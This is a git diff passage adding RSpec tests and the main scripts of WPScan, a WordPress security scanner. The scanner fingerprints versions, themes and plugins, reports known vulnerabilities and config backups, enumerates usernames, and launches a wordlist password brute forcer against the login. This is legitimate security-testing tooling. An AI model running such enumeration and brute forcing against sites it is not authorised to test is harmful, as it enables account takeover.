WpTheme.new("hello-world", :style_url => style_url) + + wp_theme.to_s.should === "hello-world" + end + end + + describe "#find_from_css_link" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_THEME_DIR + "/find/css_link" } + + it "should return nil if no theme is present" do + stub_request(:get, @target_uri.to_s).to_return(:status => 200, :body => "") + + WpTheme.find_from_css_link(@target_uri).should be_nil + end + + it "should return a WpTheme object with .name = twentyeleven" do + stub_request_to_fixture(:url => @target_uri.to_s, :fixture => fixtures_dir + "/wordpress-twentyeleven.htm") + + wp_theme = WpTheme.find_from_css_link(@target_uri) + wp_theme.should be_a WpTheme + wp_theme.name.should === "twentyeleven" + end + + # http://code.google.com/p/wpscan/issues/detail?id=131 + # Theme name with spaces raises bad URI(is not URI?) + it "should not raise an error if the theme name has spaces or special chars" do + stub_request_to_fixture(:url => @target_uri.to_s, :fixture => fixtures_dir + "/theme-name-with-spaces.html") + + wp_theme = WpTheme.find_from_css_link(@target_uri) + wp_theme.should be_a WpTheme + wp_theme.name.should === "Copia di simplefolio" + end + end + + describe "#find_from_wooframework" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_THEME_DIR + "/find/wooframework" } + + after :each do + stub_request_to_fixture(:url => @target_uri.to_s, :fixture => @fixture) + + wp_theme = WpTheme.find_from_wooframework(@target_uri) + + wp_theme.should be_a WpTheme unless wp_theme.nil? + wp_theme.should === @expected_theme + end + + it "should return a WpTheme object with .name 'Editorial' and .version '1.3.5'" do + @fixture = fixtures_dir + "/editorial-1.3.5.html" + @expected_theme = WpTheme.new("Editorial", :version => "1.3.5") + end + + it "should return a WpTheme object with .name 'Merchant'" do + @fixture = fixtures_dir + "/merchant-no-version.html" + @expected_theme = WpTheme.new("Merchant") + end + end + + describe "#find" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_THEME_DIR + "/find" } + + after :each do + stub_request_to_fixture(:url => @target_uri.to_s, :fixture => @fixture) + + wp_theme = WpTheme.find(@target_uri) + + if @expected_name + wp_theme.should be_a WpTheme + wp_theme.name.should === @expected_name + else + wp_theme.should be_nil + end + end + + it "should return nil if no theme is found" do + @fixture = SPEC_FIXTURES_DIR + "/empty-file" + @expected_name = nil + end + + it "should return a WpTheme object with .name 'twentyeleven'" do + @fixture = fixtures_dir + "/css_link/wordpress-twentyeleven.htm" + @expected_name = "twentyeleven" + end + + it "should a WpTheme object with .name 'Merchant'" do + @fixture = fixtures_dir + "/wooframework/merchant-no-version.html" + @expected_name = "Merchant" + end + end + + describe "#version" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_THEME_DIR + "/version" } + let(:theme_style_url) { @target_uri.merge("wp-content/themes/spec-theme/style.css").to_s } + + after :each do + if @fixture + stub_request_to_fixture(:url => theme_style_url, :fixture => @fixture) + + wp_theme = WpTheme.new('spec-theme', :style_url => theme_style_url) + + wp_theme.version.should === @expected + end + end + + it "should return nil if the version is not found" do + @fixture = fixtures_dir + "/twentyeleven-unknow.css" + @expected = nil + end + + it "should return nil if the style_url is nil" do + WpTheme.new("hello-world").version.should be_nil + end + + it "should return 1.3" do + @fixture = fixtures_dir + "/twentyeleven-1.3.css" + @expected = "1.3" + end + + it "should return 1.5.1" do + @fixture = fixtures_dir + "/bueno-1.5.1.css" + @expected = "1.5.1" + end + end + +end diff --git a/spec/lib/wpscan/wp_version_spec.rb b/spec/lib/wpscan/wp_version_spec.rb new file mode 100644 index 00000000..fa59d9e2 --- /dev/null +++ b/spec/lib/wpscan/wp_version_spec.rb @@ -0,0 +1,123 @@ +require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper') + +describe WpVersion do + + before :all do + @target_uri = URI.parse('http://example.localhost/') + @browser = Browser.instance(:config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json') + end + + describe "#find_from_meta_generator" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/meta-generator" } + + after :each do + stub_request_to_fixture(:url => @target_uri.to_s, :fixture => @fixture) + + WpVersion.find_from_meta_generator(@target_uri.to_s).should === @expected + end + + it "should return nil if the meta-generator is not found" do + @fixture = fixtures_dir + "/no-meta-generator.htm" + @expected = nil + end + + it "should return 3.3.2" do + @fixture = fixtures_dir + "/3.3.2.htm" + @expected = "3.3.2" + end + + it "should return 3.4-beta4" do + @fixture = fixtures_dir + "/3.4-beta4.htm" + @expected = "3.4-beta4" + end + end + + describe "#find_from_rss_generator" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/rss-generator" } + + after :each do + @status_code ||= 200 + stub_request_to_fixture(:url => @target_uri.merge("feed/").to_s, :status => @status_code, :fixture => @fixture) + + WpVersion.find_from_rss_generator(@target_uri).should === @expected + end + + it "should return nil on a 404" do + @status_code = 404 + @fixture = SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/404.htm" + @expected = nil + end + + it "should return nil if the rss-generator is not found" do + @fixture = fixtures_dir + "/no-rss-generator.htm" + @expected = nil + end + + it "should return nil if the version is not found (but the rss-generator is present)" do + @fixture = fixtures_dir + "/no-version.htm" + @expected = nil + end + + it "shuld return 3.3.2" do + @fixture = fixtures_dir + "/3.3.2.htm" + @expected = "3.3.2" + end + + it "should return 3.4-beta4" do + @fixture = fixtures_dir + "/3.4-beta4.htm" + @expected = "3.4-beta4" + end + end + + describe "#find_from_sitemap_generator" do + after :each do + stub_request(:get, @target_uri.merge("sitemap.xml").to_s). + to_return(:status => 200, :body => @body) + + WpVersion.find_from_sitemap_generator(@target_uri).should === @expected + end + + it "should return nil if the generator is not found" do + @body = '' + @expected = nil + end + + it "should return the version : 3.3.2" do + @body = "" + @expected = "3.3.2" + end + + it "should return nil if it's not a valid version, must contains at least one '.'" do + @body = "" + @expected = nil + end + end + + describe "#find_from_readme" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + '/readme' } + + after :each do + @status_code ||= 200 + stub_request_to_fixture(:url => @target_uri.merge("readme.html").to_s, :status => @status_code, :fixture => @fixture) + + WpVersion.find_from_readme(@target_uri).should === @expected + end + + it "should return nil on a 404" do + @status_code = 404 + @fixture = SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/404.htm" + @expected = nil + end + + it "should return nil if the version number is not present" do + @fixture = fixtures_dir + "/empty-version.html" + @expected = nil + end + + it "should return 3.3.2" do + @fixture = fixtures_dir + "/readme-3.3.2.html" + @expected = "3.3.2" + end + end + +end diff --git a/spec/lib/wpscan/wpscan_helper.rb b/spec/lib/wpscan/wpscan_helper.rb new file mode 100644 index 00000000..42112f16 --- /dev/null +++ b/spec/lib/wpscan/wpscan_helper.rb @@ -0,0 +1,33 @@ +require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') + +require WPSCAN_LIB_DIR + '/wpscan_helper' + +SPEC_FIXTURES_WPSCAN_DIR = SPEC_FIXTURES_DIR + '/wpscan' +SPEC_FIXTURES_WPSCAN_MODULES_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/modules' +SPEC_FIXTURES_WPSCAN_WP_TARGET_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/wp_target' +SPEC_FIXTURES_WPSCAN_WPSCAN_OPTIONS_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/wpscan_options' +SPEC_FIXTURES_WPSCAN_WP_THEME_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/wp_theme' +SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/wp_plugin' +SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/wp_version' + +class WpScanModuleSpec + attr_reader :uri + attr_accessor :error_404_hash + + def initialize(target_url) + @uri = URI.parse(add_http_protocol(target_url)) + Browser.instance( + :config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json', + :cache_timeout => 0 + ) + end + + def url + @uri.to_s + end + + def login_url + @uri.merge("wp-login.php").to_s + end +end + diff --git a/spec/lib/wpscan/wpscan_options_spec.rb b/spec/lib/wpscan/wpscan_options_spec.rb new file mode 100644 index 00000000..15cb6fdd --- /dev/null +++ b/spec/lib/wpscan/wpscan_options_spec.rb @@ -0,0 +1,301 @@ +require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper') + +describe "WpscanOptions" do + + before :each do + @wpscan_options = WpscanOptions.new + end + + describe "#initialize" do + + end + + describe "#url=" do + it "should raise an error if en empty or nil url is supplied" do + expect { @wpscan_options.url = '' }.to raise_error + expect { @wpscan_options.url = nil }.to raise_error + end + + it "should add the http protocol if not present" do + @wpscan_options.url = "example.com" + @wpscan_options.url.should === "http://example.com" + end + + it "should not add the http protocol if it's already present" do + url = "http://example.com" + @wpscan_options.url = url + @wpscan_options.url.should === url + end + end + + describe "#threads=" do + it "should convert an integer in a string into an integr" do + @wpscan_options.threads = "10" + @wpscan_options.threads.should be_an Integer + @wpscan_options.threads.should === 10 + end + + it "should set to correct number of threads" do + @wpscan_options.threads = 15 + @wpscan_options.threads.should be_an Integer + @wpscan_options.threads.should === 15 + end + end + + describe "#wordlist=" do + it "should raise an error if the wordlist file does not exist" do + expect { @wpscan_options.wordlist = "/i/do/not/exist.txt" }.to raise_error + end + + it "should not raise an error" do + wordlist_file = "#{SPEC_FIXTURES_WPSCAN_WPSCAN_OPTIONS_DIR}/wordlist.txt" + + @wpscan_options.wordlist = wordlist_file + @wpscan_options.wordlist.should === wordlist_file + end + end + + describe "#proxy=" do + it "should raise an error" do + expect { @wpscan_options.proxy = 'invalidproxy' }.to raise_error + end + + it "should not raise an error" do + proxy = "127.0.0.1:3038" + @wpscan_options.proxy = proxy + @wpscan_options.proxy.should === proxy + end + end + + describe "#enumerate_plugins=" do + it "should raise an error" do + @wpscan_options.enumerate_only_vulnerable_plugins = true + expect { @wpscan_options.enumerate_plugins = true }.to raise_error + end + + it "should not raise an error" do + @wpscan_options.enumerate_only_vulnerable_plugins = false + @wpscan_options.enumerate_plugins = true + + @wpscan_options.enumerate_plugins.should be_true + end + end + + describe "#enumerate_only_vulnerable_plugins=" do + it "should raise an error" do + @wpscan_options.enumerate_plugins = true + expect { @wpscan_options.enumerate_only_vulnerable_plugins = true }.to raise_error + end + + it "should not raise an error" do + @wpscan_options.enumerate_plugins = false + @wpscan_options.enumerate_only_vulnerable_plugins = true + + @wpscan_options.enumerate_only_vulnerable_plugins.should be_true + end + end + + describe "#to_h" do + it "should return an empty hash" do + @wpscan_options.to_h.should be_a Hash + @wpscan_options.to_h.should be_empty + end + + it "should return a hash with :verbose = true" do + expected = {:verbose => true} + @wpscan_options.verbose = true + + @wpscan_options.to_h.should === expected + end + end + + describe "#has_options?" do + it "should return false" do + @wpscan_options.has_options?.should be_false + end + + it "should return true" do + @wpscan_options.verbose = false + @wpscan_options.has_options?.should be_true + end + end + + describe "#clean_option" do + after :each do + WpscanOptions.clean_option(@option).should === @expected + end + + it "should return 'url'" do + @option = "--url" + @expected = "url" + end + + it "should return 'u'" do + @option = "-u" + @expected = 'u' + end + + it "should return 'follow_redirection'" do + @option = "--follow-redirection" + @expected = "follow_redirection" + end + end + + describe "#option_to_instance_variable_setter" do + after :each do + WpscanOptions.option_to_instance_variable_setter(@argument).should === @expected + end + + it "should return @url" do + @argument = "--url" + @expected = :url= + end + + it "should return @verbose" do + @argument = "-v" + @expected = :verbose= + end + + it "should return nil for -U" do + @argument = "-U" + @expected = nil + end + + it "should return nil for --enumerate" do + @argument = "--enumerate" + @expected = nil + end + + it "should return nil for -e" do + @argument = "-e" + @expected = nil + end + end + + describe "#is_long_option?" do + it "should return true" do + WpscanOptions.is_long_option?("--url").should be_true + end + + it "should return false" do + WpscanOptions.is_long_option?("hello").should be_false + WpscanOptions.is_long_option?("--enumerate").should be_false + end + end + + describe "#enumerate_options_from_string" do + after :each do + if @argument + wpscan_options = WpscanOptions.new + wpscan_options.enumerate_options_from_string(@argument) + wpscan_options.to_h.should === @expected_hash + end + end + + it "should raise an error if p and p! are " do + expect { @wpscan_options.enumerate_options_from_string("pp!") }.to raise_error + end + + it "should set enumerate_plugins to true" do + @argument = 'p' + @expected_hash = {:enumerate_plugins => true} + end + + it "should set enumerate_only_vulnerable_plugins to tue" do + @argument = "p!" + @expected_hash = {:enumerate_only_vulnerable_plugins => true} + end + + it "should set enumerate_timthumbs to true" do + @argument = 't' + @expected_hash = {:enumerate_timthumbs => true} + end + + it "should set enumerate_usernames to true" do + @argument = 'u' + @expected_hash = {:enumerate_usernames => true} + end + + it "should set enumerate_usernames to true and enumerate_usernames_range to (1..20)" do + @argument = "u[1-20]" + @expected_hash = {:enumerate_usernames => true, :enumerate_usernames_range => (1..20)} + end + + # Let's try some multiple choices + it "should set enumerate_timthumbs to true, enumerate_usernames to true, enumerate_usernames_range to (1..2)" do + @argument = "u[1-2]t" + @expected_hash = { + :enumerate_usernames => true, :enumerate_usernames_range => (1..2), + :enumerate_timthumbs => true + } + end + end + + describe "#set_option_from_cli" do + it "should raise an error with unknow option" do + expect { @wpscan_options.set_option_from_cli("hello", "") }.to raise_error + end + + it "should set @url to example.com" do + @wpscan_options.set_option_from_cli("--url", "example.com") + @wpscan_options.url.should === "http://example.com" + end + + it "should set @enumerate_plugins to true" do + @wpscan_options.set_option_from_cli("--enumerate", "p") + @wpscan_options.enumerate_plugins.should be_true + @wpscan_options.enumerate_only_vulnerable_plugins.should be_nil + end + + it "should set @enumerate_only_vulnerable_plugins, @enumerate_timthumbs and @enumerate_usernames to true if no argument is given" do + @wpscan_options.set_option_from_cli("--enumerate", '') + @wpscan_options.enumerate_only_vulnerable_plugins.should be_true + @wpscan_options.enumerate_timthumbs.should be_true + @wpscan_options.enumerate_usernames.should be_true + end + end + + describe "#load_from_arguments" do + after :each do + set_argv(@argv) + wpscan_options = WpscanOptions.load_from_arguments + wpscan_options.to_h.should === @expected_hash + end + + it "should return {}" do + @argv = '' + @expected_hash = {} + end + + it "should return {:url => 'example.com'}" do + @argv = "--url example.com" + @expected_hash = {:url => "http://example.com"} + end + + it "should return {:url => 'example.com'}" do + @argv = "-u example.com" + @expected_hash = {:url => "http://example.com"} + end + + it "should return {:username => 'admin'}" do + @argv = "--username admin" + @expected_hash = {:username => "admin"} + end + + it "should return {:username => 'Youhou'}" do + @argv = "-U Youhou" + @expected_hash = {:username => "Youhou"} + end + + it "should return {:url => 'example.com', :threads => 5, :force => ''}" do + @argv = "-u example.com --force -t 5" + @expected_hash = {:url => "http://example.com", :threads => 5, :force => ""} + end + + it "should return {:url => 'example.com', :enumerate_plugins => true, :enumerate_timthumbs => true}" do + @argv = "-u example.com -e pt" + @expected_hash = {:url => 'http://example.com', :enumerate_plugins => true, :enumerate_timthumbs => true} + end + end + +end diff --git a/spec/lib/wpstools/wpstools_helper.rb b/spec/lib/wpstools/wpstools_helper.rb new file mode 100644 index 00000000..bef7f87d --- /dev/null +++ b/spec/lib/wpstools/wpstools_helper.rb @@ -0,0 +1,4 @@ +require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') + +require WPSTOOLS_LIB_DIR + '/wpstools_helper' + diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb new file mode 100644 index 00000000..8ca23494 --- /dev/null +++ b/spec/spec_helper.rb @@ -0,0 +1,65 @@ +# https://github.com/bblimke/webmock +# https://github.com/colszowka/simplecov + +# Code Coverage (only works with ruby >= 1.9) +if RUBY_VERSION >= "1.9" + require 'simplecov' + SimpleCov.start do + add_filter "/spec/" + add_filter "_helper.rb" + add_filter "environment.rb" + + # Unused files at this time + add_filter "exploit.rb" + add_filter "msfrpc_client.rb" + end +end + +require File.expand_path(File.dirname(__FILE__) + '/../lib/common_helper') + +require 'webmock/rspec' + +SPEC_DIR = ROOT_DIR + '/spec' +SPEC_LIB_DIR = SPEC_DIR + '/lib' +SPEC_CACHE_DIR = SPEC_DIR + '/cache' +SPEC_FIXTURES_DIR = SPEC_DIR + '/fixtures' +SPEC_FIXTURES_CONF_DIR = SPEC_FIXTURES_DIR + '/conf' +SPEC_FIXTURES_WP_VERSIONS_DIR = SPEC_FIXTURES_DIR + '/wp_versions' + +def count_files_in_dir(absolute_dir_path, files_pattern = '*') + Dir.glob(File.join(absolute_dir_path, files_pattern)).count +end + +# a trick to be able to test command line arguments +# argv must be an array or a string +def set_argv(argv) + if argv.is_a?(Array) + Object.send(:remove_const, :ARGV) + Object.const_set(:ARGV, argv) + elsif argv.is_a?(String) + set_argv(argv.split(' ')) + end +end + +# arguments : +# :url - mandatory +# :fixture - mandatory +# :method - optional (:get, :post, :any), default :get +# :status - optional, default 200 +def stub_request_to_fixture(arguments = {}) + arguments[:method] ||= :get + arguments[:status] ||= 200 + raise "No arguments[:url] supplied" if arguments[:url].nil? + raise "No arguments[:fixture] supplied" if arguments[:fixture].nil? + + stub_request(arguments[:method], arguments[:url]). + to_return(:status => arguments[:status], :body => File.new(arguments[:fixture])) +end + +# The object must be given as we will mock the Kernel#` or Kernel#system (Kernel is a module) +# system_method : +# :` for `` or %x +# :system for system() +def stub_system_command(object, command, return_value, system_method = :`) + object.should_receive(system_method).with(command).and_return(return_value) +end diff --git a/wpscan.rb b/wpscan.rb new file mode 100755 index 00000000..0b70011d --- /dev/null +++ b/wpscan.rb @@ -0,0 +1,309 @@ +#!/usr/bin/env ruby + +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# ryandewhurst at gmail +# + +$: << '.' +require File.dirname(__FILE__) +'/lib/wpscan/wpscan_helper' + +banner() + +begin + wpscan_options = WpscanOptions.load_from_arguments + + unless wpscan_options.has_options? + raise "No argument supplied\n#{usage()}" + end + + if wpscan_options.help + help() + exit + end + + # Check for updates + if wpscan_options.update + unless @updater.nil? + @updater.update() + else + puts "Svn / Git not installed, or wpscan has not been installed with one of them." + puts "Update aborted" + end + exit(1) + end + + wp_target = WpTarget.new(wpscan_options.url, wpscan_options.to_h) + + # Remote website up? + unless wp_target.is_online? + raise "The WordPress URL supplied '#{wp_target.uri}' seems to be down." + end + + if redirection = wp_target.redirection + if wpscan_options.follow_redirection + puts "Following redirection #{redirection}" + puts + else + puts "The remote host tried to redirect us to #{redirection}" + puts "Do you want follow the redirection ? [y/n]" + end + + if wpscan_options.follow_redirection or Readline.readline =~ /^y/i + wpscan_options.url = redirection + wp_target = WpTarget.new(redirection, wpscan_options.to_h) + else + puts "Scan aborted" + exit + end + end + + # Remote website is wordpress? + unless wpscan_options.force + unless wp_target.is_wordpress? + raise "The remote website is up, but does not seem to be running WordPress." + end + end + + if wp_content_dir = wp_target.wp_content_dir() + # This one might be moved in wp_target. However we need to find a way to mock that in spec, otherwise there is a lot a problems xD + Browser.instance.variables_to_replace_in_url = {"$wp-content$" => wp_content_dir, "$wp-plugins$" => wp_target.wp_plugins_dir()} + else + raise "The wp_content_dir has not been found, please supply it with --wp-content-dir" + end + + # Output runtime data + puts "| URL: #{wp_target.url}" + puts "| Started on #{Time.now.asctime}" + puts + + # Can we identify the theme name? + if wp_theme = wp_target.theme + theme_version = wp_theme.version + puts "[!] The WordPress theme in use is #{wp_theme}" + + theme_vulnerabilities = wp_theme.vulnerabilities + unless theme_vulnerabilities.empty? + puts "[+] We have identified #{theme_vulnerabilities.size} vulnerabilities for this theme :" + theme_vulnerabilities.each do |vulnerability| + puts + puts " | * Title: " + vulnerability.title + puts " | * Reference: " + vulnerability.reference + end + puts + end + end + + # Is the readme.html file there? + if wp_target.has_readme? + puts "[!] The WordPress '#{wp_target.readme_url}' file exists" + end + + # Full Path Disclosure (FPD)? + if wp_target.has_full_path_disclosure? + puts "[!] Full Path Disclosure (FPD) in '#{wp_target.full_path_disclosure_url}'" + end + + # Is the wp-config.php file backed up? + wp_target.config_backup.each do |file_url| + puts "[!] A wp-config.php backup file has been found '#{file_url}'" + end + + # Checking for malwares + if wp_target.has_malwares? + malwares = wp_target.malwares + puts "[!] #{malwares.size} malware(s) found :" + + malwares.each do |malware_url| + puts + puts " | " + malware_url + end + puts + end + + # Checking the version... + if wp_version = wp_target.version + puts "[!] WordPress version #{wp_version.number} identified from #{wp_version.discovery_method}" + + # Are there any vulnerabilities associated with this version? + version_vulnerabilities = wp_version.vulnerabilities + + unless version_vulnerabilities.empty? + puts + puts "[+] We have identified #{version_vulnerabilities.size} vulnerabilities from the version number :" + version_vulnerabilities.each do |vulnerability| + puts + puts " | * Title: " + vulnerability.title + puts " | * Reference: " + vulnerability.reference + end + end + end + + # Plugins from passive detection + puts + print "[+] Enumerating plugins from passive detection ... " + + plugins = wp_target.plugins_from_passive_detection + unless plugins.empty? + print "#{plugins.size} found :\n" + + plugins.each do |plugin| + puts + puts " | Name: " + plugin.name + puts " | Location: " + plugin.location_url + + plugin.vulnerabilities.each do |vulnerability| + puts " |" + puts " | [!] " + vulnerability.title + puts " | * Reference: " + vulnerability.reference + end + end + else + print "No plugins found :(\n" + end + + # Enumerate the installed plugins + if wpscan_options.enumerate_plugins or wpscan_options.enumerate_only_vulnerable_plugins + puts + puts "[+] Enumerating installed plugins #{'(only vulnerable ones)' if wpscan_options.enumerate_only_vulnerable_plugins} ..." + puts + + plugins = wp_target.plugins_from_aggressive_detection( + :only_vulnerable_ones => wpscan_options.enumerate_only_vulnerable_plugins + ) + unless plugins.empty? + puts + puts + puts "[+] We found " + plugins.size.to_s + " plugins:" + + plugins.each do |plugin| + puts + puts " | Name: " + plugin.name + puts " | Location: " + plugin.location_url + + puts " | Directory listing enabled? #{plugin.directory_listing? ? "Yes." : "No."}" + + plugin.vulnerabilities.each do |vulnerability| + #vulnerability['vulnerability'][0]['uri'] == nil ? "" : uri = vulnerability['vulnerability'][0]['uri'] # uri + #vulnerability['vulnerability'][0]['postdata'] == nil ? "" : postdata = CGI.unescapeHTML(vulnerability['vulnerability'][0]['postdata']) # postdata + + puts " |" + puts " | [!] " + vulnerability.title + puts " | * Reference: " + vulnerability.reference + + # This has been commented out as MSF are moving from + # XML-RPC to MessagePack. + # I need to get to grips with the new way of communicating + # with MSF and implement new code. + + # check if vuln is exploitable + #Exploit.new(url, type, uri, postdata.to_s, use_proxy, proxy_addr, proxy_port) + end + + if plugin.error_log? + puts " | [!] A WordPress error_log file has been found : " + plugin.error_log_url + end + end + else + puts + puts "No plugins found :(" + end + end + + # try to find timthumb files + if wpscan_options.enumerate_timthumbs + puts + puts "[+] Enumerating timthumb files ..." + puts + + if wp_target.has_timthumbs?(:theme_name => wp_theme ? wp_theme.name : nil) + timthumbs = wp_target.timthumbs + + puts + puts "[+] We found " + timthumbs.size.to_s + " timthumb file/s :" + puts + + timthumbs.each do |file_url| + puts " | [!] " + file_url + end + puts + puts " * Reference: http://www.exploit-db.com/exploits/17602/" + else + puts + puts "No timthumb files found :(" + end + end + + # If we haven't been supplied a username, enumerate them... + if !wpscan_options.username and wpscan_options.wordlist or wpscan_options.enumerate_usernames + puts + puts "[+] Enumerating usernames ..." + + usernames = wp_target.usernames(:range => wpscan_options.enumerate_usernames_range) + + if usernames.empty? + puts + puts "We did not enumerate any usernames :(" + puts "Try supplying your own username with the --username option" + puts + exit(1) + else + puts + puts "We found the following " + usernames.length.to_s + " username/s :" + puts + + usernames.each {|username| puts " " + username} + end + + else + usernames = [wpscan_options.username] + end + + # Start the brute forcer + if wpscan_options.wordlist + if wp_target.has_login_protection? + + protection_plugin = wp_target.login_protection_plugin() + + puts + puts "The plugin #{protection_plugin.name} has been detected. It might record the IP and timestamp of every failed login. Not a good idea for brute forcing !" + puts "[?] Do you want to start the brute force anyway ? [y/n]" + + if Readline.readline !~ /^y/i + bruteforce = false + end + end + + if bruteforce === false + puts + puts "Brute forcing aborted" + else + puts + puts "[+] Starting the password brute forcer" + puts + wp_target.brute_force(usernames, wpscan_options.wordlist) + end + end + + puts + puts '[+] Finished at ' + Time.now.asctime + exit() # must exit! +rescue => e + puts "[ERROR] #{e}" + puts "Trace : #{e.backtrace}" +end diff --git a/wpstools.rb b/wpstools.rb new file mode 100755 index 00000000..d9fb5973 --- /dev/null +++ b/wpstools.rb @@ -0,0 +1,83 @@ +#!/usr/bin/env ruby + +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# ryandewhurst at gmail +# + +$: << '.' +require File.dirname(__FILE__) +'/lib/wpstools/wpstools_helper' + +begin + + banner() + + if ARGV.length == 0 + raise "No argument supplied\n#{usage()}" + end + + # A better way to do that should be to create a wpstools_options.rb file like wpscan_options.rb + # and a wps_options.rb with common options code + options = GetoptLong.new( + ["--help", "-h", GetoptLong::NO_ARGUMENT], + ["--verbose", "-v", GetoptLong::NO_ARGUMENT], + ["--generate_plugin_list", GetoptLong::OPTIONAL_ARGUMENT], + ["--gpl", GetoptLong::OPTIONAL_ARGUMENT], + ["--update", "-u", GetoptLong::NO_ARGUMENT] + ) + + options.each do |option, argument| + case option + when "--help" + help() + exit + when "--verbose" + @verbose = true + when "--generate_plugin_list", "--gpl" + if argument == '' + puts "Number of pages not supplied, defaulting to 150 pages ..." + @number_of_pages = 150 + else + @number_of_pages = argument.to_i + end + + @generate_plugin_list = true + when "--update" + @update = true + end + end + + if @generate_plugin_list + puts "[+] Generating new most popular plugin list" + puts + Generate_Plugin_List.new(@number_of_pages, @verbose).save_file + end + + if @update + unless @updater.nil? + @updater.update() + else + puts "Svn / Git not installed, or wpscan has not been installed with one of them." + puts "Update aborted" + end + end + +rescue => e + puts "[ERROR] #{e}" + puts "Trace : #{e.backtrace}" +end